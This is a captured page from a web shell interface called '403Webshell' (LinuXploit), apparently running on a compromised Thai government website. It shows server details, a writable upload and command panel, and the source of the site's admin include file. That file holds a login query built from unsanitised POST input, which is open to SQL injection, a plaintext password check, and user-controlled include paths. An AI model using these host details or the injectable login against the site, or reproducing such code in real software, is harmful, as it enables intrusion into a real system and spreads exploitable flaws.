403Webshell
Server IP : 27.254.152.13  /  Your IP : 216.73.217.38
Web Server : Apache/2
System : Linux ns1-252017.dragonhispeed.com 5.2.0 #1 SMP Fri Mar 29 22:50:14 MSK 2024 x86_64
User : coloflew ( 1072)
PHP Version : 5.6.40
Disable Function : exec,system,passthru,shell_exec,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
MySQL : ON  |  cURL : ON  |  WGET : OFF  |  Perl : OFF  |  Python : OFF  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/coloflew/domains/tessabalpatiu.go.th/public_html/administrator/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/coloflew/domains/tessabalpatiu.go.th/public_html/administrator/includefile.php
<?php 
session_start();
########## Load the config file ##########
require_once(dirname(dirname(__FILE__)) . '/lib/sys_config.php');
require_once(dirname(dirname(__FILE__)) . '/lib/class/SC_Query.php');
require_once(dirname(dirname(__FILE__)) . '/lib/class/SC_Mysql.php');
require_once(dirname(dirname(__FILE__)) . '/lib/class/SC_Master.php');
require_once(dirname(dirname(__FILE__)) . '/lib/class/SC_Email.php');
require_once(dirname(dirname(__FILE__)) . '/lib/class/SC_Function.php');
require_once(dirname(dirname(__FILE__)) . '/lib/class/SC_ResizeImage.php');
$db = new SC_Query();
$objMaster = new SC_Master();
$objFun = new SC_Function();
$chkBrowser = $objFun->getBrowser();
$SCimage = new ResizeImage();

//session_destroy();
//echo "<pre>"; print_r ($_SERVER);
//exit;
$name = @$_GET['name'];
$file = @$_GET['file'];
//session_destroy();

if(@$_GET['action']=="logout"){
	session_destroy();
	$name = "index";
	$file = "login";
}// end if clear session


if(isset($_SESSION['lang_code']) && @$_GET['lang']){
	//$la = $_GET['lang'] ? $_GET['lang'] : "En";
	$_SESSION['lang_code'] = $_GET['lang'];
	$lang_code =  $_SESSION['lang_code'];
}elseif(isset($_SESSION['lang_code'])){
	$lang_code =  $_SESSION['lang_code'];
}else{
	$lang_code = "En";
	$_SESSION['lang_code'] = $lang_code;
}
//get langaute
$lang_value = $db->getAll('language_value','*',"lang_code='".$lang_code."'");
//echo "<pre>"; print_r($lang_value);
if($lang_value){
	$lang_set = array();
	foreach($lang_value as $ke => $va){
		$lang_set[$va['name']] = $va['value'];
		//echo $lang_set[$va['name']];
		//$lang = $lang_f;
	}	
}

$getlang = $db->getAll('language','*',"");
//echo "<pre>"; print_r($lang_value);

if(count($_POST)>0){ 
 	if (@$_POST['username'] && @$_POST['password']){
		$user1 = $db->getOne("userlogin","*","Username ='".@$_POST['username']."' and Password ='".@$_POST['password']."'");
		//echo "<pre>"; print_r($user1); exit();
		if($user1){
			$arrData['lastLogin']	= date('Y-m-j  g:i:s');
			$db->updateData("userlogin",$arrData,"EmpID='".$user1['EmpID']."'");
			
			$_SESSION['userid']		= $user1['EmpID'];
			$_SESSION['username'] 	= $user1['Username'];
			$_SESSION['fullname']	= $user1['Name']." ".$user1['Surname'];

			
		}else{
			$msg = $lang_set['txtErrorLogin'];
			$res = 1;
		}
	}
}

if(!isset($_SESSION['userid'])){
	$name = "index";
	$file = "login";
}
	
if(!$name){$name = "banner";}
if(!$file && !$_SESSION['userid']){$file = "login";}
if(!$file && $_SESSION['userid']){$file = "index";}

$modpathfile="modules/".$name."/".$file.".php";    
//echo "<pre>"; print_r($_SESSION); exit();
if (file_exists($modpathfile)) {  
	$MODPATHFILE = $modpathfile;  
	$MODPATH = "modules/";
}else{
	die ("This page it not have ..."); 
}

//$filetype = $db->getOne("filetype","*","filetypeID = 1");

//define( "FILE_TYPE", $filetype["filetypeName"] );								

?>

Youez - 2016 - github.com/yon3zu
LinuXploit